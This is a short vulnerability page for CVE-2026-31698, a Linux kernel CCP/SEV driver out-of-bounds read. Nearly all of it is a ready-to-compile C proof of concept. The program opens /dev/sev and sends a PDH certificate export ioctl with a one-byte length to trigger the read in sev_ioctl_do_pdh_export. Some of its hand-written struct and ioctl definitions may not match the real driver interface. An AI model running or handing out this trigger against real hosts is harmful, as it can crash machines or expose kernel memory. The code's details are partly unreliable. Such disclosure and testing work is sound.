CVE-2026-31698: Linux Kernel CCP驱动越界读取漏洞

/* * PoC for CVE-2026-31698 * Trigger out-of-bounds read in sev_ioctl_do_pdh_export * Compile: gcc -o poc_cve2026_31698 poc_cve2026_31698.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #define SEV_ISSUE_CMD _IOWR('S', 0x01, struct sev_issue_cmd) #define SEV_PDH_CERT_EXPORT 0x09 struct sev_user_data_pdh_cert_export { __u64 pdh_cert_address; __u32 pdh_cert_len; __u32 cert_chain_address; __u32 cert_chain_len; }; struct sev_issue_cmd { __u32 cmd; __u64 data; __u32 error; }; int main() { int fd = open("/dev/sev", O_RDWR); if (fd < 0) { perror("Failed to open /dev/sev"); return -1; } struct sev_user_data_pdh_cert_export data; memset(&data, 0, sizeof(data)); // Set a very small length to trigger the firmware failure // and the subsequent OOB read in the driver data.pdh_cert_len = 1; struct sev_issue_cmd cmd; cmd.cmd = SEV_PDH_CERT_EXPORT; cmd.data = (__u64)&data; cmd.error = 0; printf("Triggering CVE-2026-31698...\n"); if (ioctl(fd, SEV_ISSUE_CMD, &cmd) < 0) { perror(" IOCTL failed"); } else { printf("IOCTL returned. Check dmesg for KASAN reports.\n"); } close(fd); return 0; }